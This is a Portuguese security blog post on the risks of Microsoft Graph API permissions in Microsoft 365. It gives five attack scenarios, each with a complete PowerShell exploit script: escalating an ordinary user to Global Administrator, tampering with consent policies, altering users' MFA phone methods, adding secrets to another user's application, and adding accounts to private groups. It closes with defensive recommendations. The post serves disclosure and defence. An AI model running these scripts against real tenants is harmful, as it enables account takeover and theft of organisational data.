O Microsoft 365 é um conjunto de ferramentas de produtividade e colaboração baseadas em nuvem que inclui uma variedade de recursos de segurança para ajudar a proteger seus dados e dispositivos. Alguns desses recursos incluem uma vasta granularidade de funções, perfis de usuários e permissões.
Fazer a gestão de identidades, permissões e apis em ambiente nuvem não é tarefa fácil. Sem o devido conhecimento técnico e suporte de tecnologias especializadas, podemos enfrentar dificuldades para compreender e mensurar adequadamente os riscos. Listo aqui apenas dois motivos para que possamos refletir sobre a problemática:
- São mais de 300 permissões somente MS Graph disponíveis para uso em aplicativos, portanto é razoável pensar que muitos dos administradores de ambiente Microsoft 365 não conseguirão avaliar adequadamente todos os pedidos de concessão de acesso ‘as APIs.
- A documentação disponível pela Microsoft na maioria dos casos não deixa claro os riscos associados ao uso das permissões.
Nesse artigo traremos um caso concreto de como permissões, APis e identidades mal geridas podem trazer um enorme risco à um ambiente Microsoft 365.
É importante ressaltar que o uso mal intencionado de permissões pode indicar também persistência, atacantes podem fazer uso de tais recursos para continuar acessando o ambiente de forma privilegiada.
Funções e Permissões no Microsoft 365
No Microsoft 365, o Azure Active Directory usa o conceito de funções para distribuir privilégios aos usuários e aplicativos. Por exemplo, Administrador Global é uma função de diretório no Azure AD. As permissões da API do Microsoft 365 são um conjunto paralelo totalmente distinto de permissões que podem ser concedidas a entidades de serviço do Azure. Há alguma sobreposição entre as funções de diretório e as permissões das APIs, mas podemos pensar nelas como sistemas de privilégios paralelos.
A relação entre funções, permissões, usuários e aplicativos no diretório nem sempre permite ter clareza sobre os riscos aos quais estamos expondo nossos dados.
Cenário 1: Escalação de Privilégio
Este ataque permite que um usuário não privilegiado consiga garantir a si mesmo a função de Administrador Global de um ambiente Microsoft 365 e de maneira geral o sucesso do ataque está na possibilidade de uma solicitação de consentimento a permissão AppRoleAssignment.ReadWrite.All ser consentida.
Vejamos o que diz a documentação da Microsoft sobre a permissão AppRoleAssignment.ReadWrite.All.
“Permite que o aplicativo gerencie concessões de permissão para permissões de aplicativo para qualquer API (incluindo Microsoft Graph) e atribuições de aplicativo para qualquer aplicativo, em nome do usuário conectado.”
Para administradores menos informados essa permissão pode aparentar não trazer grande risco à organização. Adquirido o consentimento dessa permissão, o atacante pode criar então uma cadeia de permissões e garantir a si próprio acesso a RoleManagement.ReadWrite.Directory e finalmente ser um Administrador Global. A escalada de privilégio acontece sem que haja novas interações e consentimento dos administradores Microsoft 365.
O exploit para executar esse ataque bem sucedido pode ser visto abaixo. A identificação de alguns GUID é próprio de cada organização.
Write-Output “Conectando ao Microsoft 365” $AppID = “e0eb06a1-SANITIZADO” $TenantID = “63ffdbd2-SANITIZADO” $AppPassword = ConvertTo-SecureString “jAt8Q~SANITIZADO” -AsPlainText -Force $psCred = New-Object System.Management.Automation.PSCredential($AppID, $AppPassword) Write-Output “Priv Esc User ID: f2342e98-SANITIZADO” Write-Output “Priv Esc App ID: $AppID” Write-Output “Service Principal ID: 4462edeb-SANITIZADO” Write-Output “MS Graph Resource ID: 0bb31c9c-SANITIZADO” Connect-AzAccount -Credential $psCred -TenantID $TenantID -ServicePrincipal $UserContext = Get-AzContext *>&1 $resource = “https://graph.microsoft.com” $token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(` $UserContext.Account, ` $UserContext.Environment, ` $UserContext.Tenant.Id.ToString(), ` $null, ` [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, ` $null, ` $resource).AccessToken $body = @{ principalId = “4462edeb-SANITIZADO” resourceId = “0bb31c9c-SANITIZADOf” appRoleId = “9e3f62cf-SANITIZADO” } Invoke-RestMethod -Headers @{Authorization = “Bearer $($token)” } -Uri “https://graph.microsoft.com/v1.0/servicePrincipals/4462edeb-SANITIZADO/appRoleAssignedTo” -Method POST -Body $($body | ConvertTo-Json) -ContentType ‘application/json’ *>&1 Write-Output “Aguardando…” Start-Sleep -Seconds 60 $resource = “https://graph.microsoft.com” $token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(` $UserContext.Account, ` $UserContext.Environment, ` $UserContext.Tenant.Id.ToString(), ` $null, ` [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, ` $null, ` $resource).AccessToken $body = @{ “@odata.id”= “https://graph.microsoft.com/v1.0/directoryObjects/f2342e98-SANITIZADO” } Invoke-RestMethod -Headers @{Authorization = “Bearer $($token)” } ` -Uri ‘https://graph.microsoft.com/v1.0/directoryRoles/47c8403c-SANITIZADO/members/$ref’ ` -Method POST ` -Body $($body | ConvertTo-Json) ` -ContentType ‘application/json’ *>&1 Write-Output “Verifique se o usuário privesc é agora Global Admin” |
Ao final da execução do exploit o atacante terá capacidades ilimitadas no diretório, podendo controlar usuários, dados e recursos da organização.
Cenário 2: Escalação de Privilégio
As políticas de consentimento do Microsoft 365 são funcionalidades comumente utilizadas por organizações com a finalidade de reduzir o fluxo de trabalho de aprovações e revisões de solicitações de permissões de acessos feitas por aplicativos. Esse tipo de política em geral está associada a alguma função no diretório e então associa-se usuários a esta dada função que podem consentir permissões de baixo risco sem a necessidade de aprovação.
Para que o ataque seja bem sucedido, o ator malicioso precisa:
- Obter consentimento para a permissão Policy.ReadWrite.PermissionGrant.
- Obter uma conta que possa usufruir de uma política de consentimento.
Vejamos como o ataque pode ser realizado:
O exploit para executar esse ataque bem sucedido pode ser visto abaixo. A identificação de alguns GUID é próprio de cada organização. O código malicioso usa uma conta não privilegiada para manipular a política de consentimento my-custom-consent-policy e então escalar privilégio para Administrador Global. Note que nesse caso a conta não privilegiada do atacante pode utilizar a política de consentimento.
$AppId = ‘e0eb06a1-SANITIZADO’ $TenantId = ’63ffdbd2-SANITIZADO’ $ClientSecret = ‘jAt8Q~SANITIZADOo’ $Token = Get-MsalToken -TenantId $TenantId -ClientId $AppId -ClientSecret ($ClientSecret | ConvertTo-SecureString -AsPlainText -Force) Connect-Graph -AccessToken $Token.AccessToken Invoke-GraphRequest ` -Method GET ` -Uri ‘/v1.0/policies/permissionGrantPolicies’ | ConvertTo-Json $body = @{ permissionClassification = “all” permissionType = “application” resourceApplication = “00000003-0000-0000-c000-000000000000” permissions = @(’06b708a9-e830-4db3-a914-8e69da51d44f’, ’84bccea3-f856-4a8a-967b-dbe0a3d53a64′, ‘9e3f62cf-SANITIZADO’) clientApplicationIds = @(‘4462edeb-SANITIZADO’, ‘f2342e98-SANITIZADO’, ‘e0eb06a1-SANITIZADO’, ‘df021288-SANITIZADO’) } Invoke-GraphRequest -Method POST -Uri ‘/v1.0/policies/permissionGrantPolicies/my-custom-consent-policy/includes’ -Body $($body | ConvertTo-Json) -ContentType ‘application/json’ Write-Output “Conectando ao Microsoft 365” $AppID = “e0eb06a1-SANITIZADO” $TenantID = “63ffdbd2-SANITIZADO” $AppPassword = ConvertTo-SecureString “jAt8Q~SANITIZADO” -AsPlainText -Force $psCred = New-Object System.Management.Automation.PSCredential($AppID, $AppPassword) Write-Output “Priv Esc User ID: f2342e98-SANITIZADO” Write-Output “Priv Esc App ID: $AppID” Write-Output “Service Principal ID: 4462edeb-SANITIZADO” Write-Output “MS Graph Resource ID: 0bb31c9c-SANITIZADO” Connect-AzAccount -Credential $psCred -TenantID $TenantID -ServicePrincipal $UserContext = Get-AzContext *>&1 $resource = “https://graph.microsoft.com” $token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(` $UserContext.Account, ` $UserContext.Environment, ` $UserContext.Tenant.Id.ToString(), ` $null, ` [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, ` $null, ` $resource).AccessToken #Adicionando “RoleManagement.ReadWrite.Directory” para Priv Esc App $body = @{ principalId = “4462edeb-SANITIZADO” resourceId = “0bb31c9c-SANITIZADO” appRoleId = “9e3f62cf-SANITIZADO” } Write-Output “Adicionando a permissao RoleManagement.ReadWrite.Directory para o Priv Esc App” Invoke-RestMethod -Headers @{Authorization = “Bearer $($token)” } -Uri “https://graph.microsoft.com/v1.0/servicePrincipals/4462edeb-SANITIZADO/appRoleAssignedTo” -Method POST -Body $($body | ConvertTo-Json) -ContentType ‘application/json’ *>&1 |
Ao final da execução do exploit o atacante utilizará o exploit listado no Cenário 1 e terá capacidades ilimitadas no diretório, podendo controlar usuários, dados e recursos da organização.
Cenário 3: Roubo de Credenciais
Habilitar o múltiplo fator de autenticação para as contas de usuários do locatário Microsoft 365 é uma prática importante quando estamos falando de proteger credenciais de acesso. Por isso é importante mencionar que existem não apenas funções, mas também permissões que se consentidas a um ator malicioso podem ser usadas de maneira a facilitar o roubo de credenciais.O atacante poderá manipular, ou seja, adicionar e remover fatores de autenticação das contas de usuários, facilitando o roubo.
O exploit para executar esse ataque bem sucedido pode ser visto abaixo. Nesse código um aplicativo associado ao ator malicioso realiza operações de adicionar e remover um fator de autenticação do tipo Mobile em uma outra conta de usuário.
# This code will manipulate multifactor authentication method for users # it will be able to add and/or remove a mobile phone number. $AppId = ‘e0eb06a1-SANITIZADO’ $TenantId = ’63ffdbd2–SANITIZADO’ $ClientSecret = ‘jAt8Q~SANITIZADO’ $Token = Get-MsalToken -TenantId $TenantId -ClientId $AppId -ClientSecret ($ClientSecret | ConvertTo-SecureString -AsPlainText -Force) Connect-Graph -AccessToken $Token.AccessToken Invoke-GraphRequest ` -Method GET ` -Uri ‘/v1.0/users/f2342e98-SANITIZADO/authentication/methods’ | ConvertTo-Json $body = @{ phoneNumber = “+5561 999680000” phoneType = “mobile” } Invoke-GraphRequest -Method POST -Uri ‘/v1.0/users/f2342e98-SANITIZADO/authentication/phoneMethods’ -Body $($body | ConvertTo-Json) -ContentType ‘application/json’ Invoke-GraphRequest ` -Method DELETE ` -Uri ‘/v1.0/users/f2342e98-SANITIZADO/authentication/phoneMethods/3179e48a-750b-4051-897c-87b9720928f7’ |
Ao final dessa execução uma determinada conta de usuário terá seu fator de autenticação Mobile modificado. Caso o atacante já tenha conhecimento prévio da senha do usuário, a conta poderá ser roubada.
Cenário 4: Movimentação lateral
Uma das formas que o adversário possui para se mover lateralmente no ambiente é através da obtenção de novas credenciais de acesso. Existem diversas formas de se obter tais credenciais, uma delas é abusando de determinadas permissões de aplicativos do Microsoft 365.
O código para executar este ataque bem sucedido pode ser visto abaixo. Nele um aplicativo associado ao ator malicioso realiza uma operação para adicionar um novo segredo a um aplicativo que não o pertence, possibilitando que possa ser usado para se mover no ambiente utilizando uma nova identificação.
$AppId = ‘e0eb06a1-SANITIZADO $TenantId = ’63ffdbd2-SANITIZADO’ $ClientSecret = ‘jAt8Q~SANITIZADO’ $Token = Get-MsalToken -TenantId $TenantId -ClientId $AppId -ClientSecret ($ClientSecret | ConvertTo-SecureString -AsPlainText -Force) Connect-Graph -AccessToken $Token.AccessToken $body = @{ PasswordCredential = @{ DisplayName = “MyNewPasswordSuperSecret” } } Invoke-GraphRequest -Method POST -Uri ‘/v1.0/applications/a988bf77-SANITIZADO/addPassword’ -Body $($body | ConvertTo-Json) -ContentType ‘application/json’ |
Ao final da execução, o atacante passará a ter permissão para se autenticar e movimentar no ambiente usando a nova credencial associada ao aplicativo “a988bf77-SANITIZADO”, cujo proprietário é outro usuário do diretório.
Cenário 5: Movimentação lateral
Outra forma de movimentação lateral reside na possibilidade de se infiltrar em grupos privados de usuários, obtendo informações e dados que possibilitam ao ator malicioso ganhar ainda mais espaço dentro do ambiente Microsoft 365.
O código para executar este ataque bem sucedido pode ser visto abaixo. Nele um aplicativo associado ao ator malicioso realiza uma operação para adicionar uma nova conta maliciosa a um grupo de usuários privados.
$AppId = ‘e0eb06a1-SANITIZADO’ $TenantId = ’63ffdbd2-SANITIZADO’ $ClientSecret = ‘jAt8Q~SANITIZADO’ $Token = Get-MsalToken -TenantId $TenantId -ClientId $AppId -ClientSecret ($ClientSecret | ConvertTo-SecureString -AsPlainText -Force) Connect-Graph -AccessToken $Token.AccessToken Invoke-GraphRequest ` -Method GET ` -Uri ‘/v1.0/groups’ | ConvertTo-Json $body = @{ “@odata.id” = “https://graph.microsoft.com/v1.0/directoryObjects/f2342e98-SANITIZADO” } Invoke-GraphRequest -Method POST -Uri ‘/v1.0/groups/a417addd-SANITIZADO/members/$ref’ -Body $($body | ConvertTo-Json) -ContentType ‘application/json’ |
Ao final da execução, o atacante passará a ter permissão para acessar todos os dados sensíveis do grupo “a417addd-SANITIZADO” através da conta “f2342e98-SANITIZADO”.
Recomendações
É importante atualizar regularmente suas configurações de segurança e garantir que seus dispositivos e usuários estejam em conformidade com as políticas de segurança de sua organização. Monitore constantemente a postura de segurança do seu ambiente e de sua cadeia de suprimentos
- Procure por permissões que possam apresentar riscos.
- Se possível, não permita que usuários possam registrar aplicativos.
- Defina um processo para avaliar e consentir permissões dos aplicativos.
- Monitore quem são os usuários com privilégio de administrador.
- Monitore as políticas de consentimento da sua organização.
- Monitore e revise as credenciais de acesso ao ambiente
- Monitore e revise periodicamente os usuários que fazem parte de grupos privados
O Zanshin, plataforma SaaS da Tenchi Security, com sua capacidade de monitorar e avaliar a postura de segurança em ambientes de nuvem pode contribuir na identificação deste e de muitos outros riscos, entre em contato com nossos especialistas.
Crédito
Breno Silva
Referência
[1] Microsoft Graph permissions:
https://learn.microsoft.com/en-us/graph/permissions-reference